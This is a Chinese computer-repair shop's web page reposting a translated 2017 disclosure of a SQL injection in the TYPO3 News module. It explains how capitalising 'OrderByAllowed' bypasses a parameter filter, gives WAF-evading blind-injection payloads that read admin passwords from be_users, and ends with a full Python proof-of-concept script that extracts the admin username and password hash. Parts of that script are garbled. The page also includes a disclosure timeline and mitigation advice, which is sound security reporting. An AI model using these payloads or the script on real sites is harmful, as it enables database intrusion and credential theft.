锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务,锦州广厦维修电脑,公司IT外包服务
topFlag1 设为首页
topFlag3 收藏本站
 
maojin003 首 页 公司介绍 服务项目 服务报价 维修流程 IT外包服务 服务器维护 技术文章 常见故障
锦州市广厦电脑维修|上门维修电脑|上门做系统|0416-3905144热诚服务技术文章
CMS TYPO3中的News system模块SQL注入漏洞

作者: 佚名  日期:2017-04-25 09:22:22   来源: 本站整理

 简介
News module是TYPO3中20种最常用的模块之一,爆出存在SQL注入漏洞。尽管作者已经在4个月中多次联系厂商,然而至今没有发布修复方案。只有当模块参数overrideDemand设置为1时漏洞才可用,然而该参数默认值就为1。


描述
该模块是MVC架构中的一个部分。 作为用户,你可以列举以及读取新闻。该模块允许自定义条件来过滤新闻,例如作者,类别,发布日期等。以下为NewsController.php中的代码片段,已加上注释供参考理解:
class NewsController
{
    # 用户无法设置的参数列表
    protected $ignoredSettingsForOverride = ['demandClass', 'orderByAllowed'];
    # 这是我们的入口点
    # 仅有的$overwriteDemand参数通过POST方式传输
    public function listAction(array $overwriteDemand = null)
    {
        # 使用默认设置对一个Demand对象进行初始化
        $demand = $this->createDemandObjectFromSettings($this->settings);
        # 从$overwriteDemand获取用户设置进行初始化
        $demand = $this->overwriteDemandObject($demand, $overwriteDemand);
        # 从Demand对象构建一个SQL查询并运行
        $newsRecords = $this->newsRepository->findDemanded($demand);
        # 显示结果
        $this->view->display($newsRecords);
    }
    protected function overwriteDemandObject($demand, $overwriteDemand)
    {
        # 用户不能设置的一些值:它们已被移除
        foreach ($this->ignoredSettingsForOverride as $property) {
            unset($overwriteDemand[$property]);
        }
        # 调用set($value)对经过筛选的参数进行赋值
        foreach ($overwriteDemand as $propertyName => $propertyValue) {
            $methodName = 'set' . ucfirst($propertyName);
            if(is_callable($demand, $setterMethodName))
                $demand->{$setterMethodName}($propertyValue);
        }
        return $demand;
    }
之后使用创建的Demand对象参数用以构建SQL查询,例如,将作者设为条件进行查询:
WHERE author='{$demand->getAuthor()}'
漏洞
所有的属性都可能是潜在的SQL注入向量。以下为可能满足条件的完整列表:
function setArchiveRestriction($archiveRestriction)
public function setCategories($categories)
public function setCategoryConjunction($categoryConjunction)
public function setIncludeSubCategories($includeSubCategories)
public function setAuthor($author)
public function setTags($tags)
public function setTimeRestriction($timeRestriction)
public function setTimeRestrictionHigh($timeRestrictionHigh)
public function setOrder($order)
public function setOrderByAllowed($orderByAllowed)
public function setTopNewsFirst($topNewsFirst)
public function setSearchFields($searchFields)
public function setTopNewsRestriction($topNewsRestriction)
public function setStoragePage($storagePage)
public function setDay($day)
public function setMonth($month)
public function setYear($year)
public function setLimit($limit)
public function setOffset($offset)
public function setDateField($dateField)
public function setSearch($search = null)
public function setExcludeAlreadyDisplayedNews($excludeAlreadyDisplayedNews)
public function setHideIdList($hideIdList)
public function setAction($action)
public function setClass($class)
public function setActionAndClass($action, $controller)
其中一些看来非常有趣,在SQL查询中它们不包含引号;limit,offset以及order似乎可以利用。不幸的是,前两个会被过滤转换成整型数据。
还好最后一个order,通过白名单进行了过滤,而该白名单包含在另一个参数orderByAllowed中:
if (Validation::isValidOrdering($demand->getOrder(), $demand->getOrderByAllowed())) {
    $order_by_field = $demand->getOrder();} else {

    # 默认
    $order_by_field = 'id';}
因为通过POST方式向orderByAllowed和orderBy发送数据,所以我们将能够控制SQL语句的一部分,之后得到一个注入点。
事实是我们又遇到拦路虎了:orderByAllowed是被列入的黑名单参数(不能通过POST来设置):
protected function overwriteDemandObject($demand, $overwriteDemand){
    # 用户不能设置的一些值:它们已被移除
    foreach ($this->ignoredSettingsForOverride as $property) {
        unset($overwriteDemand[$property]);
    }
    # 调用set($value)对经过筛选的参数进行赋值
    foreach ($overwriteDemand as $propertyName => $propertyValue) {
        $methodName = 'set' . ucfirst($propertyName);
        if(is_callable($demand, $setterMethodName))
            $subject->{$setterMethodName}($propertyValue);
    }
    return $demand;}
为了调用setter,该模块将给定参数的首字母大写化以绕过unset()过滤器:通过发送替换为大写字母O的OrderByAllowed,它不会再被删掉,另外setOrderByAllowed()也能成功调用。
现在可以定义我们自己的orderbyallowed:我们已完全控制order语句,成功获得一个SQL注入。
利用
由于我们需要在MySQL上的利用ORDER BY语句,因此我们的payload可以这样构造:
IF(
    (
        ORD(SUBSTRING(
            (SELECT password FROM be_user WHERE id=1), 4, 1)
        )) = 0x41
    ),
    id,
    title
)
根据测试的结果,新闻排序将发生改变,这就使得我们能执行SQL注入。
由于应用程序逻辑和WAF过滤器,为了能够利用该SQL注入,我们需要绕过一些限制。
非法字符:
任何大写字母
任何空格
逗号
SQL注释(WAF限制)
此外,表名是payload的前缀,SQL查询语句如下所示:
SELECT ... FROM ... ORDER BY tx_news_model_domain_news.$order
由于SQL对大小写不敏感,所以第一个问题不用管。 之后的注释,我们可以通过使用括号语法来绕过,比如:
..(SELECT(password)FROM(be_users)WHERE(id=1))...
逗号有点烦人,但MySQL提供了一些替代语法,例如SUBSTRING(x FROM y FOR z)用来替代SUBSTRING(x, y, z)以及用(CASE condition WHEN 1 THEN x ELSE y END)替代IF(condition,x,y)。解决了非法字符的问题,我们现在可以专注于解决前缀的问题。我们选取一个数值字段,而不是两个字段。根据条件将其乘以1或-1,如下:
uid * (CASE condition WHEN 1 THEN 1 ELSE -1 END)
如果条件(condition)为真,新闻将按照uid排序。否则,它们会以-uid进行排序,即它们按相反的顺序显示。
最终我们的payload如下:
id*(case(ord(substring((select(password)from(be_users)where(uid=1))from(2)for(1))))when(48)then(1)else(-1)end)
现在我们满足进行盲注的所有条件。默认情况下,会话是IP专用,也就是说我们无法使用它们进行账户劫持,需要我们进行下载并对密码hash进行暴力破解
补丁
最好的方法是通过将overrideDemand的参数设置为0来阻止用户更改需求参数。另一种方法是阻止从GET以及POST请求中包含OrderByAllowed的所有case-variation和URL-encoding键值。
时间线
2017-01-05发送电子邮件到TYPO3的安全团队,报告通过DateField就可以漏洞利用(相同的向量,利用相对更容易)
2017-01-20漏洞被发现,TYPO3表示已经修补
2017-01-25报告了通过OrderByAllowed可以进行漏洞利用
2017-04-05多次尝试后仍然没有回答
POC
#!/usr/bin/python3
# TYPO3 News Module SQL Injection Exploit
# https://www.ambionics.io/blog/typo3-news-module-sqli
# cf
#
# The injection algorithm is not optimized, this is just meant to be a POC.
#
import requests
import string
session = requests.Session()
session.proxies = {'http': 'localhost:8080'}
# Change this
加载中...
 
URL = 'http://vmweb/typo3/index.php?id=8&no_cache=1'
PATTERN0 = 'Article #1'
PATTERN1 = 'Article #2'
FULL_CHARSET = string.ascii_letters + string.digits + '$./'
def blind(field, table, condition, charset):
    # We add 9 so that the result has two digits
    # If the length is superior to 100-9 it won't work
    size = blind_size(
        'length(%s)+9' % field, table, condition,
        2, string.digits
    )
    size = int(size) - 9
{C}     data = blind_size(
        field, table, condition,
        size, charset
    )
    return data
def select_position(field, table, condition, position, char):
    payload = 'select(%s)from(%s)where(%s)' % (
        field, table, condition
    )
    payload = 'ord(substring((%s)from(%d)for(1)))' % (payload, position)
    payload = 'uid*(case((%s)=%d)when(1)then(1)else(-1)end)' % (
        payload, ord(char)
    )
    return payload
def blind_size(field, table, condition, size, charset):
    string = ''
    for position in range(size):
        for char in charset:
            payload = select_position(field, table, condition, position+1, char)
            if test(payload):
                string += char
                print(string)
                break
        else:
            raise ValueError('Char was not found')
    return string
def test(payload):
    response = session.post(
        URL,
        data=data(payload)
    )
    response = response.text
    return response.index(PATTERN0) def data(payload):
    return {
        'tx_news_pi1[overwriteDemand][order]': payload,
        'tx_news_pi1[overwriteDemand][OrderByAllowed]': payload,
        'tx_news_pi1[search][subject]': '',
        'tx_news_pi1[search][minimumDate]': '2016-01-01',
        'tx_news_pi1[search][maximumDate]': '2016-12-31',
    }
# Exploit
print("USERNAME:", blind('username', 'be_users', 'uid=1', string.ascii_letters))
print("PASSWORD:", blind('password', 'be_users', 'uid=1', FULL_CHARSET))



热门文章
  • 机械革命S1 PRO-02 开机不显示 黑...
  • 联想ThinkPad NM-C641上电掉电点不...
  • 三星一体激光打印机SCX-4521F维修...
  • 通过串口命令查看EMMC擦写次数和判...
  • IIS 8 开启 GZIP压缩来减少网络请求...
  • 索尼kd-49x7500e背光一半暗且闪烁 ...
  • 楼宇对讲门禁读卡异常维修,读卡芯...
  • 新款海信电视机始终停留在开机界面...
  • 常见打印机清零步骤
  • 安装驱动时提示不包含数字签名的解...
  • 共享打印机需要密码的解决方法
  • 图解Windows 7系统快速共享打印机的...
  • 锦州广厦电脑上门维修

    报修电话:13840665804  QQ:174984393 (联系人:毛先生)   
    E-Mail:174984393@qq.com
    维修中心地址:锦州广厦电脑城
    ICP备案/许可证号:辽ICP备2023002984号-1
    上门服务区域: 辽宁锦州市区
    主要业务: 修电脑,电脑修理,电脑维护,上门维修电脑,黑屏蓝屏死机故障排除,无线上网设置,IT服务外包,局域网组建,ADSL共享上网,路由器设置,数据恢复,密码破解,光盘刻录制作等服务

    技术支持:微软等